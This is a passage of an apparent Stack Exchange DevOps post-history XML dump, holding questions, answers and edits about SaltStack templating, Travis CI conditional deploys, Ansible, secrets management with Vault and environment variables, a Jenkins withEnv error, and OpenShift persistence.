created&#xD;&#xA; - A kubernetes cluster has been created&#xD;&#xA; - ...&#xD;&#xA; - ...&#xD;&#xA; - ..." ContentLicense="CC BY-SA 3.0" />
  <row Id="11422" PostHistoryTypeId="6" PostId="2480" RevisionGUID="935898a0-4cbf-4bd1-a110-e648654f493f" CreationDate="2018-03-16T14:59:09.737" UserId="210" Comment="edited tags" Text="&lt;git&gt;&lt;subversion&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11423" PostHistoryTypeId="2" PostId="3652" RevisionGUID="bd9fe909-6bca-4a96-83d3-e27717e4a243" CreationDate="2018-03-16T14:59:50.410" UserId="210" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11424" PostHistoryTypeId="1" PostId="3652" RevisionGUID="bd9fe909-6bca-4a96-83d3-e27717e4a243" CreationDate="2018-03-16T14:59:50.410" UserId="210" ContentLicense="CC BY-SA 3.0" />
  <row Id="11425" PostHistoryTypeId="2" PostId="3653" RevisionGUID="cf6d0752-5691-4ac1-b3ad-9d70296cead9" CreationDate="2018-03-16T14:59:50.410" UserId="210" Text="If questions are about the Version Control System (VCS) subversion" ContentLicense="CC BY-SA 3.0" />
  <row Id="11426" PostHistoryTypeId="1" PostId="3653" RevisionGUID="cf6d0752-5691-4ac1-b3ad-9d70296cead9" CreationDate="2018-03-16T14:59:50.410" UserId="210" ContentLicense="CC BY-SA 3.0" />
  <row Id="11427" PostHistoryTypeId="2" PostId="3654" RevisionGUID="7c0c5378-746e-4f8a-8801-39e8dba1da83" CreationDate="2018-03-16T15:40:11.720" UserId="6929" Text="I have an archive on my master and want to extract it on the minion. For this is fine I use :&#xD;&#xA;&#xD;&#xA;      archive.extracted:&#xD;&#xA;        - name:  'c:\PACKAGE'&#xD;&#xA;        - source: salt://myfile.zip&#xD;&#xA;        - archive_format: zip&#xD;&#xA;        - enforce_toplevel: False&#xD;&#xA;        - failhard: True&#xD;&#xA;&#xD;&#xA;the problem is that I need to apply jinja template on some files of the zip file content.&#xD;&#xA;&#xD;&#xA;But there is no template property on archive.extracted and I can't find a way to apply jinja template after it is extracted on minion server...&#xD;&#xA;&#xD;&#xA;any idea ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11428" PostHistoryTypeId="1" PostId="3654" RevisionGUID="7c0c5378-746e-4f8a-8801-39e8dba1da83" CreationDate="2018-03-16T15:40:11.720" UserId="6929" Text="saltstack: archive.extracted template jinja" ContentLicense="CC BY-SA 3.0" />
  <row Id="11429" PostHistoryTypeId="3" PostId="3654" RevisionGUID="7c0c5378-746e-4f8a-8801-39e8dba1da83" CreationDate="2018-03-16T15:40:11.720" UserId="6929" Text="&lt;salt&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11430" PostHistoryTypeId="5" PostId="3654" RevisionGUID="302770fa-f3b7-4895-bdd8-fa99fd42c393" CreationDate="2018-03-16T16:17:11.047" UserId="6929" Comment="added 3 characters in body" Text="I have an archive on my master and want to extract it on the minion. For this it is fine I use :&#xD;&#xA;&#xD;&#xA;      archive.extracted:&#xD;&#xA;        - name:  'c:\PACKAGE'&#xD;&#xA;        - source: salt://myfile.zip&#xD;&#xA;        - archive_format: zip&#xD;&#xA;        - enforce_toplevel: False&#xD;&#xA;        - failhard: True&#xD;&#xA;&#xD;&#xA;the problem is that I need to apply jinja template on some files of the zip file content.&#xD;&#xA;&#xD;&#xA;But there is no template property on archive.extracted and I can't find a way to apply jinja template after it is extracted on minion server...&#xD;&#xA;&#xD;&#xA;any idea ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11431" PostHistoryTypeId="2" PostId="3655" RevisionGUID="1b5eb496-0e84-4e06-b5c6-f31684f34374" CreationDate="2018-03-16T17:38:06.857" UserId="210" Text="One could use conditional builds https://docs.travis-ci.com/user/conditional-builds-stages-jobs/&#xD;&#xA;&#xD;&#xA;If code is merged into master one could decide to deploy code to production, but I personally prefer a human intervention by a Product Owner.&#xD;&#xA;&#xD;&#xA;&gt;     jobs:&#xD;&#xA;&gt;       include:&#xD;&#xA;&gt;           if: branch = master&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;&gt;     stages:&#xD;&#xA;&gt;       - name: deploy&#xD;&#xA;&gt;         # require the branch name to be master&#xD;&#xA;&gt;         if: branch = master&#xD;&#xA;&#xD;&#xA;At other projects I preferred to deploy only tags to enforce the git flow (tags should be created otherwise no deployment to production).&#xD;&#xA;&#xD;&#xA;&gt;     stages:&#xD;&#xA;&gt;       - name: deploy&#xD;&#xA;&gt;         # require the tag name to match a regular expression&#xD;&#xA;&gt;         if: tag =~ ^v1&#xD;&#xA;&#xD;&#xA;One could also try (I did not try it yet) whether the `if` works in combination with script sections:&#xD;&#xA;&#xD;&#xA;https://github.com/030/ansible-firefox/blob/master/.travis.yml&#xD;&#xA;&#xD;&#xA;Last remark: I would avoid creating such scripts (the ones you included in the question) as most CI tools contain condition checks.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11432" PostHistoryTypeId="2" PostId="3656" RevisionGUID="feb05aaf-49d4-459e-a0e9-9981f7375f0e" CreationDate="2018-03-16T17:39:21.930" UserId="6958" Text="I believe that systems thinking can be found within the three DevOps ways. For me, systems have properties that DevOps addresses very well. I've written something about in https://opensource.com/article/18/3/how-apply-systems-thinking-devops" ContentLicense="CC BY-SA 3.0" />
  <row Id="11433" PostHistoryTypeId="50" PostId="2341" RevisionGUID="69a6b363-b451-4be7-8cb0-ea0e909e287d" CreationDate="2018-03-16T17:41:07.703" UserId="-1" />
  <row Id="11434" PostHistoryTypeId="2" PostId="3657" RevisionGUID="6b64ae1a-b0a7-4ffc-bc31-7c691c89b5c4" CreationDate="2018-03-16T17:59:08.260" UserId="210" Text="One could use the `apt` module of Ansible. http://docs.ansible.com/ansible/latest/apt_module.html&#xD;&#xA;&#xD;&#xA;The `apt` module uses `apt` and apt itself is able to check whether a package has already been installed and will prevent that it will be installed as it has already been installed.&#xD;&#xA;&#xD;&#xA;I use this module myself as well. As the idempotence test passes it indicates that it will not install certbot if it has been installed already.&#xD;&#xA;&#xD;&#xA;https://github.com/030/ansible-certbot/blob/master/tasks/Debian.yml#L10&#xD;&#xA;&#xD;&#xA;    - name: certbot installed&#xD;&#xA;      apt:&#xD;&#xA;        name: certbot&#xD;&#xA;        state: latest&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11435" PostHistoryTypeId="5" PostId="3644" RevisionGUID="ccb3dd0b-30bd-4796-815e-26657fd3994f" CreationDate="2018-03-16T20:54:42.830" UserId="2845" Comment="added 410 characters in body" Text="A capture group is a [type of backreference](https://www.regular-expressions.info/refcapture.html). Saltstack, being python based, [uses the re.match object](https://docs.python.org/2/library/re.html) to do regular expression matching, which [appears to support backreferences](https://stackoverflow.com/questions/15163092/python-regex-backreference-a-matching-regex-group), so these backreferences are allowed.&#xD;&#xA;&#xD;&#xA;However, you be unable to pass the value of the backreference `\1` in the `- include_pat` field back to `- name` because the `- name` field is never processed by the `re.match` object. Even if it were, variable scope would prevent you from sharing the backreference between `re.match` calls.&#xD;&#xA;&#xD;&#xA;Instead, you will need to do one of the following:&#xD;&#xA;&#xD;&#xA; - Rename all the files in `- source` from `myfile.conf.template` to `myfile.conf`&#xD;&#xA;&#xD;&#xA; - Use cmd.run to do a [batch](https://blogs.technet.microsoft.com/heyscriptingguy/2013/11/22/use-powershell-to-rename-files-in-bulk/) file [rename](https://stackoverflow.com/questions/17271586/rename-multiple-files-in-cmd) after your `file.recurse` and add to your `file.recurse` an [onchanges](https://docs.saltstack.com/en/latest/ref/states/requisites.html#onchanges) pointed to a previous event in order to defeat the idempotency (that is, to prevent it from writing out the .template files every time salt runs). You will also be sure to use a [require](https://docs.saltstack.com/en/latest/ref/states/requisites.html#require) and `onchanges` in your cmd.run that references `copy_template`&#xD;&#xA;&#xD;&#xA; This will have the unfortunate side-effect that you will never be able to update your jinja templates. You will only be able to deploy them the first time - at least not without first deleting what is there, and then re-writing and re-copying from the source.&#xD;&#xA;&#xD;&#xA; - Use `file.managed` for every template file.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    copy_template1:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: '{{ service_path }}\template1.conf'&#xD;&#xA;        - template: jinja&#xD;&#xA;        - source: {{ pillar['locations']['systemtoolsfolder'] }}\template1.conf.template&#xD;&#xA;    copy_template2:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: '{{ service_path }}\template2.conf'&#xD;&#xA;        - template: jinja&#xD;&#xA;        - source: {{ pillar['locations']['systemtoolsfolder'] }}\template2.conf.template&#xD;&#xA;    ...&#xD;&#xA;    and so forth" ContentLicense="CC BY-SA 3.0" />
  <row Id="11438" PostHistoryTypeId="50" PostId="2004" RevisionGUID="a1f7666d-fad1-4a6b-a47a-313f8304f733" CreationDate="2018-03-18T01:48:29.523" UserId="-1" />
  <row Id="11443" PostHistoryTypeId="2" PostId="3659" RevisionGUID="201d32a9-d5b2-49e1-8f0b-1ad6decabd0d" CreationDate="2018-03-18T09:14:31.943" UserId="6969" Text="As the title says , how do you manage storing and retrieving secrets for your micro service which is in production.&#xD;&#xA;Thanks&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11444" PostHistoryTypeId="1" PostId="3659" RevisionGUID="201d32a9-d5b2-49e1-8f0b-1ad6decabd0d" CreationDate="2018-03-18T09:14:31.943" UserId="6969" Text="When your micro service in production needs a secret, where is the secret stored and retrieved from?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11445" PostHistoryTypeId="3" PostId="3659" RevisionGUID="201d32a9-d5b2-49e1-8f0b-1ad6decabd0d" CreationDate="2018-03-18T09:14:31.943" UserId="6969" Text="&lt;amazon-web-services&gt;&lt;security&gt;&lt;microservices&gt;&lt;github&gt;&lt;encryption&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11446" PostHistoryTypeId="2" PostId="3660" RevisionGUID="ef07187a-430a-412e-82ac-74fde13a76c1" CreationDate="2018-03-18T09:56:05.313" UserId="6969" Text="As the title says, how do you change a secret that half of your production applications use right now? &#xD;&#xA;Thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="11447" PostHistoryTypeId="1" PostId="3660" RevisionGUID="ef07187a-430a-412e-82ac-74fde13a76c1" CreationDate="2018-03-18T09:56:05.313" UserId="6969" Text="How do you change a secret that half of your production applications use right now?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11448" PostHistoryTypeId="3" PostId="3660" RevisionGUID="ef07187a-430a-412e-82ac-74fde13a76c1" CreationDate="2018-03-18T09:56:05.313" UserId="6969" Text="&lt;amazon-web-services&gt;&lt;security&gt;&lt;microservices&gt;&lt;github&gt;&lt;encryption&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11449" PostHistoryTypeId="2" PostId="3661" RevisionGUID="24fae115-a07e-44a2-b533-bbf0efd900e0" CreationDate="2018-03-18T10:47:27.147" UserId="6969" Text="As the title says, how do you know which secrets and credentials of your production services were used, and by whom/what?   &#xD;&#xA;Thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="11450" PostHistoryTypeId="1" PostId="3661" RevisionGUID="24fae115-a07e-44a2-b533-bbf0efd900e0" CreationDate="2018-03-18T10:47:27.147" UserId="6969" Text="How do you know which secrets and credentials of your production services were used, and by whom/what?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11451" PostHistoryTypeId="3" PostId="3661" RevisionGUID="24fae115-a07e-44a2-b533-bbf0efd900e0" CreationDate="2018-03-18T10:47:27.147" UserId="6969" Text="&lt;amazon-web-services&gt;&lt;security&gt;&lt;microservices&gt;&lt;encryption&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11452" PostHistoryTypeId="2" PostId="3662" RevisionGUID="d868ec54-f310-42df-bb13-deb90e85fe7d" CreationDate="2018-03-18T11:59:11.777" UserId="210" Text="If one uses `expose` in k8s then it is possible to assign an IP to an app so it could be accessed on the www.&#xD;&#xA;&#xD;&#xA;It is also possible to configure an ingress. This is basically a rproxy. &#xD;&#xA;&#xD;&#xA;What are reasons to use an ingress over `expose`?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11453" PostHistoryTypeId="1" PostId="3662" RevisionGUID="d868ec54-f310-42df-bb13-deb90e85fe7d" CreationDate="2018-03-18T11:59:11.777" UserId="210" Text="What are reasons to prefer an ingress over using `expose` in k8s?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11454" PostHistoryTypeId="3" PostId="3662" RevisionGUID="d868ec54-f310-42df-bb13-deb90e85fe7d" CreationDate="2018-03-18T11:59:11.777" UserId="210" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11455" PostHistoryTypeId="50" PostId="3362" RevisionGUID="55751127-1410-4962-8309-092be807c91d" CreationDate="2018-03-18T12:49:40.240" UserId="-1" />
  <row Id="11457" PostHistoryTypeId="5" PostId="3660" RevisionGUID="dc018055-18f2-495f-a5b4-aa5f55825d55" CreationDate="2018-03-18T16:43:05.930" UserId="40" Comment="Remove noise" Text="As the title says, how do you change a secret that half of your production applications use right now? " ContentLicense="CC BY-SA 3.0" />
  <row Id="11458" PostHistoryTypeId="5" PostId="3661" RevisionGUID="7a72701b-8459-4378-b307-ccb8c824476f" CreationDate="2018-03-18T16:43:25.667" UserId="40" Comment="Remove noise" Text="As the title says, how do you know which secrets and credentials of your production services were used, and by whom/what?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11459" PostHistoryTypeId="5" PostId="3659" RevisionGUID="076a04cb-5704-4791-956a-94135c2ba76c" CreationDate="2018-03-18T16:43:46.710" UserId="40" Comment="Remove noise" Text="As the title says , how do you manage storing and retrieving secrets for your micro service which is in production." ContentLicense="CC BY-SA 3.0" />
  <row Id="11460" PostHistoryTypeId="5" PostId="3660" RevisionGUID="06c5fb8c-82fe-4988-b2db-d7b1f5a2eba1" CreationDate="2018-03-18T17:14:33.090" UserId="47" Comment="added question context" Text="The context of the question is https://devops.stackexchange.com/questions/3658/secrets-management.&#xD;&#xA;&#xD;&#xA;As the title says, how do you change a secret that half of your production applications use right now? " ContentLicense="CC BY-SA 3.0" />
  <row Id="11461" PostHistoryTypeId="5" PostId="3659" RevisionGUID="a3466b61-2080-4e9a-ae3a-9f46605feccc" CreationDate="2018-03-18T17:15:05.470" UserId="47" Comment="added question context" Text="The context of the question is https://devops.stackexchange.com/questions/3658/secrets-management.&#xD;&#xA;&#xD;&#xA;As the title says , how do you manage storing and retrieving secrets for your micro service which is in production." ContentLicense="CC BY-SA 3.0" />
  <row Id="11462" PostHistoryTypeId="5" PostId="3661" RevisionGUID="bbea7e5b-1b93-443a-b8a0-74d94d00fea5" CreationDate="2018-03-18T17:15:31.350" UserId="47" Comment="added 102 characters in body" Text="The context of the question is https://devops.stackexchange.com/questions/3658/secrets-management.&#xD;&#xA;&#xD;&#xA;As the title says, how do you know which secrets and credentials of your production services were used, and by whom/what?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11463" PostHistoryTypeId="2" PostId="3664" RevisionGUID="a5cc68b9-0117-4210-8905-c2099921ea59" CreationDate="2018-03-18T23:08:27.257" UserId="6950" Text="I write script for deploy files by ssh via Jenkins&#xD;&#xA;&#xD;&#xA;    #!groovy&#xD;&#xA;    &#xD;&#xA;    node('superhost01'){&#xD;&#xA;        String HOSTNAME=&quot;host01&quot;&#xD;&#xA;        String USERNAME=&quot;tech_user&quot;&#xD;&#xA;        withEnv(['PATH=/data/jdbc_connector'])&#xD;&#xA;        stage('Prepare') {&#xD;&#xA;            checkout scm&#xD;&#xA;        }&#xD;&#xA;        stage('Deploy') {&#xD;&#xA;            sh &quot;&quot;&quot;&#xD;&#xA;            scp -r config.yaml ${USERNAME}@${HOSTNAME}:$PATH&#xD;&#xA;            &quot;&quot;&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;BUT Jenkins returned error in line&#xD;&#xA;&#xD;&#xA;    withEnv(['PATH=/data/jdbc_connector'])&#xD;&#xA;&#xD;&#xA;error:&#xD;&#xA;&#xD;&#xA;    [Pipeline] node&#xD;&#xA;    Running on superhost01 in /data/jenkins/workspace/jdbc_connector&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] withEnv&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    [BFA] Scanning build for known causes...&#xD;&#xA;    [BFA] No failure causes found&#xD;&#xA;    [BFA] Done. 0s&#xD;&#xA;    java.lang.IllegalStateException: There is no body to invoke&#xD;&#xA;    	at org.jenkinsci.plugins.workflow.cps.CpsStepContext.newBodyInvoker(CpsStepContext.java:283)&#xD;&#xA;&#xD;&#xA;how to correctly assign the value of a variable?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11464" PostHistoryTypeId="1" PostId="3664" RevisionGUID="a5cc68b9-0117-4210-8905-c2099921ea59" CreationDate="2018-03-18T23:08:27.257" UserId="6950" Text="How set and get var with Path?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11465" PostHistoryTypeId="3" PostId="3664" RevisionGUID="a5cc68b9-0117-4210-8905-c2099921ea59" CreationDate="2018-03-18T23:08:27.257" UserId="6950" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11467" PostHistoryTypeId="2" PostId="3665" RevisionGUID="6ddbe795-244f-4ccb-a5ee-c50835dd2f77" CreationDate="2018-03-19T14:53:08.653" UserId="6578" Text="The short answer: you would need to use a secret management system that provides 'audit logs'.&#xD;&#xA;&#xD;&#xA;There are many options for handling secrets out there, but unless the tool you use has audit logging, you'll never truly know for sure what credential was used where.&#xD;&#xA;&#xD;&#xA;I see you mentioned using Hashicorp's Vault. That's a really good one. They have audit logging built in; they call it ['Audit Devices'](https://www.vaultproject.io/docs/audit/index.html), which can be enabled with a simple command.&#xD;&#xA;&#xD;&#xA;Again, there are many perfectly valid options for _handling_ secrets: Chef vault, 1password, environment variables injected by your build instances, home-grown solution using encrypted files stored on object storage, etc.... However, unless the system specifically says it provides audit logging, you'll never truly know what was used when and where.&#xD;&#xA;&#xD;&#xA;You can design a secrets system with the best intentions, and make many rules that employees have to follow in regards to have the secrets are accessed, but for auditing purposes, you want to know _where_ the rules have been broken. If you have a firm requirement to always know when and where secrets where used, I recommend you stick with something like Hashicorp Vault, turn on Audit Devices, and then ship the log somewhere for storage or processing." ContentLicense="CC BY-SA 3.0" />
  <row Id="11468" PostHistoryTypeId="2" PostId="3666" RevisionGUID="89a05d19-7194-4137-a6b1-3b06d4d893ba" CreationDate="2018-03-19T15:12:31.480" UserId="6578" Text="# Short answer&#xD;&#xA;Ideally, you should store secrets as environment variables, and retrieve them from a secrets management system like Hashicorp's Vault or AWS Parameter store.&#xD;&#xA;&#xD;&#xA;# Long answer&#xD;&#xA;I saw your questions out of turn, and kinda touched on this in your [other question](https://devops.stackexchange.com/a/3665/6578):&#xD;&#xA;&#xD;&#xA;&gt; Again, there are many perfectly valid options for handling secrets: Chef vault, 1password, environment variables injected by your build instances, home-grown solution using encrypted files stored on object storage, etc....&#xD;&#xA;&#xD;&#xA;It really depends on how you run and deploy your apps. I worked at a company that used Amazon Beanstalk for production, and they shipped all their secrets and configs as a 'secrets.conf' file that was created by the Jenkins build server, and shipped with the app when it deployed. The problem there was that it was unruly to manage the same secrets across multiple jobs in Jenkins. So, I came in and moved them towards using Chef to create the file instead, and Chef pulled the file from Hashicorp Vault.&#xD;&#xA;&#xD;&#xA;At my current company, they are heavy users of GitLab with it's built-in build system. Because the the apps are all Docekr instances running in Kubernetes, all secrets are actually set as environment variables set during the deployment. The build server gets those from 'secret variables' that is set from the GitLab UI.&#xD;&#xA;&#xD;&#xA;These fit the business need at the time, and that's what really matters at the end of the day. However, you if want to be proper, you should store secrets as environment variables because you specifically mention micro services. It is highly recommend that you follow the 12 Factor App approach to configs: https://12factor.net/config&#xD;&#xA;&#xD;&#xA;&gt; The twelve-factor app stores config in environment variables (often shortened to env vars or env). Env vars are easy to change between deploys without changing any code; unlike config files, there is little chance of them being checked into the code repo accidentally; and unlike custom config files, or other config mechanisms such as Java System Properties, they are a language- and OS-agnostic standard.&#xD;&#xA;&#xD;&#xA;So you'll definitely want to leverage environment variables. How you _set_ those environment variables could be your Configuration Management system (Ex: Chef),, or your build server when it does the deploy, or your apps could be coded to pull directly from your secret storage and set the variables internally.&#xD;&#xA;&#xD;&#xA;For actual place where the secret live (where they are retrieved _from_), you have a few options. But the 2 you mentioned in your comment would be really great ones to use: Hashicorp's Vault and AWS Parameter store. Others would be Chef Vault, home-grown solution using encrypted files stored on object storage, 1password, etc.... " ContentLicense="CC BY-SA 3.0" />
  <row Id="11469" PostHistoryTypeId="2" PostId="3667" RevisionGUID="3e2fb1c9-a899-44b2-b6dc-84ca6a729de4" CreationDate="2018-03-19T15:21:19.050" UserId="6578" Text="This question ties in heavily with your [other question](https://devops.stackexchange.com/q/3659/6578) with where the secrets are set and where they retrieved from.&#xD;&#xA;&#xD;&#xA;I assume your question is asking about 'canary deployments' where you change the config for only a small portion of your apps, to test things out before deploying everywhere.&#xD;&#xA;&#xD;&#xA;If you follow the best practice of using the 12 Factor app's recommendation of 'environment variables', then changing secrets becomes very easy. At the very worst, you could log into the production server, update the ENV VAR, and then restart your app manually. In Kubernetes, this is even easier, as you can edit the ENV variables from the UI, and then restart the pod.&#xD;&#xA;&#xD;&#xA;However, you don't want to be doing that manual process if you can avoid it. If your Configuration Management tool sets the ENV VAR, then you can tell it to update a specific group of servers only. If you build server injects the ENV vars, and it supports canary deployments, then you can easily just do a canary deployment like normal." ContentLicense="CC BY-SA 3.0" />
  <row Id="11470" PostHistoryTypeId="5" PostId="3666" RevisionGUID="f75509f0-f783-498a-a0f5-4cc16bb18b60" CreationDate="2018-03-19T15:24:52.840" UserId="6578" Comment="added 105 characters in body" Text="# Short answer&#xD;&#xA;Ideally, you should store secrets as environment variables, and retrieve them from a secrets management system like Hashicorp's Vault or AWS Parameter store.&#xD;&#xA;&#xD;&#xA;# Long answer&#xD;&#xA;I saw your questions out of turn, and kinda touched on this in your [other question](https://devops.stackexchange.com/a/3665/6578):&#xD;&#xA;&#xD;&#xA;&gt; Again, there are many perfectly valid options for handling secrets: Chef vault, 1password, environment variables injected by your build instances, home-grown solution using encrypted files stored on object storage, etc....&#xD;&#xA;&#xD;&#xA;It really depends on how you run and deploy your apps. I worked at a company that used Amazon Beanstalk for production, and they shipped all their secrets and configs as a 'secrets.conf' file that was created by the Jenkins build server, and shipped with the app when it deployed. The problem there was that it was unruly to manage the same secrets across multiple jobs in Jenkins. So, I came in and moved them towards using Chef to create the file instead, and Chef pulled the file from Hashicorp Vault.&#xD;&#xA;&#xD;&#xA;At my current company, they are heavy users of GitLab with it's built-in CI/CD build system. Because the the apps are all Docker instances running in Kubernetes, all secrets are actually set as environment variables set during the deployment. The build server gets those from 'secret variables' that is set from the GitLab UI.&#xD;&#xA;&#xD;&#xA;These fit the business need at the time, and that's what really matters at the end of the day. However, you if want to be proper, you should store secrets as environment variables because you specifically mention micro services. It is highly recommend that you follow the 12 Factor App approach to configs: https://12factor.net/config&#xD;&#xA;&#xD;&#xA;&gt; The twelve-factor app stores config in environment variables (often shortened to env vars or env). Env vars are easy to change between deploys without changing any code; unlike config files, there is little chance of them being checked into the code repo accidentally; and unlike custom config files, or other config mechanisms such as Java System Properties, they are a language- and OS-agnostic standard.&#xD;&#xA;&#xD;&#xA;So you'll definitely want to leverage environment variables. How you _set_ those environment variables could be your Configuration Management system (Ex: Chef), or your build server when it does the deploy, or your apps could be coded to pull directly from your secret storage and set the variables internally.&#xD;&#xA;&#xD;&#xA;For actual place where the secrets live (where they are retrieved _from_), you have a few options. But the 2 you mentioned in your comment would be really great ones to use: Hashicorp's Vault and AWS Parameter store. Others would be Chef Vault, home-grown solution using encrypted files stored on object storage, 1password, etc.... Ideally, you'd want something that can be programmatically access from your build pipeline or apps." ContentLicense="CC BY-SA 3.0" />
  <row Id="11471" PostHistoryTypeId="5" PostId="3667" RevisionGUID="4438e7e8-6f93-45b2-a637-af693d53d043" CreationDate="2018-03-19T15:26:35.780" UserId="6578" Comment="added 31 characters in body" Text="This question ties in heavily with your [other question](https://devops.stackexchange.com/q/3659/6578) with where the secrets are set and where they retrieved from.&#xD;&#xA;&#xD;&#xA;I assume your question is asking about 'canary deployments' where you change the config for only a small portion of your apps, to test things out before deploying everywhere.&#xD;&#xA;&#xD;&#xA;If you follow the best practice of using the [12 Factor app's recommendation](https://12factor.net/config) of 'environment variables', then changing secrets becomes very easy. At the very worst, you could log into the production server, update the ENV VAR, and then restart your app manually. In Kubernetes, this is even easier, as you can edit the ENV variables from the UI, and then restart the pod.&#xD;&#xA;&#xD;&#xA;However, you don't want to be doing that manual process if you can avoid it. If your Configuration Management tool sets the ENV VAR, then you can tell it to update a specific group of servers only. If you build server injects the ENV vars, and it supports canary deployments, then you can easily just do a canary deployment like normal." ContentLicense="CC BY-SA 3.0" />
  <row Id="11472" PostHistoryTypeId="2" PostId="3668" RevisionGUID="e41631ed-29c4-408f-9c64-32fbce6de161" CreationDate="2018-03-19T15:54:11.487" UserId="5910" Text="I have a pod in Redhat Openshift running Tomcat and inside Tomcat I have Ozone Widget Framework, my site hosted in Tomcat. I have executed the `oc` command to use my existing configuration so that my pod won't disappear and lose my session and data. I ran &#xD;&#xA;&#xD;&#xA;`oc cluster up --host-data-dir=/path_to_data/openshiftdata --use-existing-config`&#xD;&#xA;&#xD;&#xA;But after making changes within OWF, when I take down the cluster and bring it back up my pod lives on, but my OWF instance is reverted back to it's default state.&#xD;&#xA;&#xD;&#xA;How do I get Openshift to let Tomcat retain OWF's state?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11473" PostHistoryTypeId="1" PostId="3668" RevisionGUID="e41631ed-29c4-408f-9c64-32fbce6de161" CreationDate="2018-03-19T15:54:11.487" UserId="5910" Text="How do I get Openshift to let Tomcat retain it's hosted site's changes" ContentLicense="CC BY-SA 3.0" />
  <row Id="11474" PostHistoryTypeId="3" PostId="3668" RevisionGUID="e41631ed-29c4-408f-9c64-32fbce6de161" CreationDate="2018-03-19T15:54:11.487" UserId="5910" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11475" PostHistoryTypeId="2" PostId="3669" RevisionGUID="9fa56578-0bad-40d0-a375-c59ae09c3fae" CreationDate="2018-03-19T16:01:07.683" UserId="4115" Text="`withEnv` doesn't persist environment variables.  Instead, you need to tell `withEnv` what steps to run with that environment by passing it a block.   Here is what I think you want your code to look like:&#xD;&#xA;&#xD;&#xA;    #!groovy&#xD;&#xA;    &#xD;&#xA;    node('superhost01'){&#xD;&#xA;      String HOSTNAME=&quot;host01&quot;&#xD;&#xA;      String USERNAME=&quot;tech_user&quot;&#xD;&#xA;      withEnv(['PATH=/data/jdbc_connector']) {&#xD;&#xA;        stage('Prepare') {&#xD;&#xA;          checkout scm&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('Deploy') {&#xD;&#xA;          sh &quot;&quot;&quot;&#xD;&#xA;          scp -r config.yaml ${USERNAME}@${HOSTNAME}:$PATH&#xD;&#xA;          &quot;&quot;&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;As a side note, I suspect you actually want to set `PATH` to `/data/jdbc_connector:$PATH`, otherwise your checkout step will not be able to find git and your deploy step will not be able to find scp." ContentLicense="CC BY-SA 3.0" />
  <row Id="11476" PostHistoryTypeId="2" PostId="3670" RevisionGUID="3c60a3f5-98e0-47d8-a60a-b686b2368bbb" CreationDate="2018-03-19T16:54:25.683" UserId="6985" Text="You need to use a [Persitent Volume](https://docs.openshift.com/enterprise/3.1/dev_guide/persistent_volumes.html).&#xD;&#xA;&#xD;&#xA;Your /path_to_data/openshiftdata is probably on a disk that belongs to the pod and is being destroyed each time." ContentLicense="CC BY-SA 3.0" />
  <row Id="11477" PostHistoryTypeId="2" PostId="3671" RevisionGUID="bf4e4aa4-3702-4ca0-9d7d-46d2b6670238" CreationDate="2018-03-19T17:03:22.497" UserId="6986" Text="## Automating creating of new VM and pushing code to server&#xD;&#xA;&#xD;&#xA;Hi all,&#xD;&#xA;&#xD;&#xA;I am writing a integration test for a client-server application. To simulate&#xD;&#xA;the production server setup, and to update the code, I set up VMs on my&#xD;&#xA;computer. The application runs on a Windows server, so I have to use systems&#xD;&#xA;compatible with Windows. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## STEP 1: Set up VM properly:&#xD;&#xA;1. Download the OVA file from MS&#xD;&#xA;2. create a new VM from the OVA file&#xD;&#xA;3. reset the mac id&#xD;&#xA;4. set a static dns ip address and a VM ip address&#xD;&#xA;5. open up the port 22&#xD;&#xA;6. install bitvise ssh server&#xD;&#xA;7. transfer public keys to the VM&#xD;&#xA;8. install python 3.5.2&#xD;&#xA;9. update `pip`&#xD;&#xA;10. install `virtualenv` systemwide&#xD;&#xA;&#xD;&#xA;### STEP 2: Deploy code to VM: &#xD;&#xA;&#xD;&#xA;1. create a requirements file using pip using: `pip freeze -r requirements`&#xD;&#xA;2. zip the entire repo using powershell using: &#xD;&#xA;`powershell.exe -nologo -noprofile -command &quot;&amp; { Add-Type -A 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory('atu.zip', 'atu'); }&quot;`&#xD;&#xA;3. using `pscp` I transfer the files to the VM using:&#xD;&#xA;`pscp 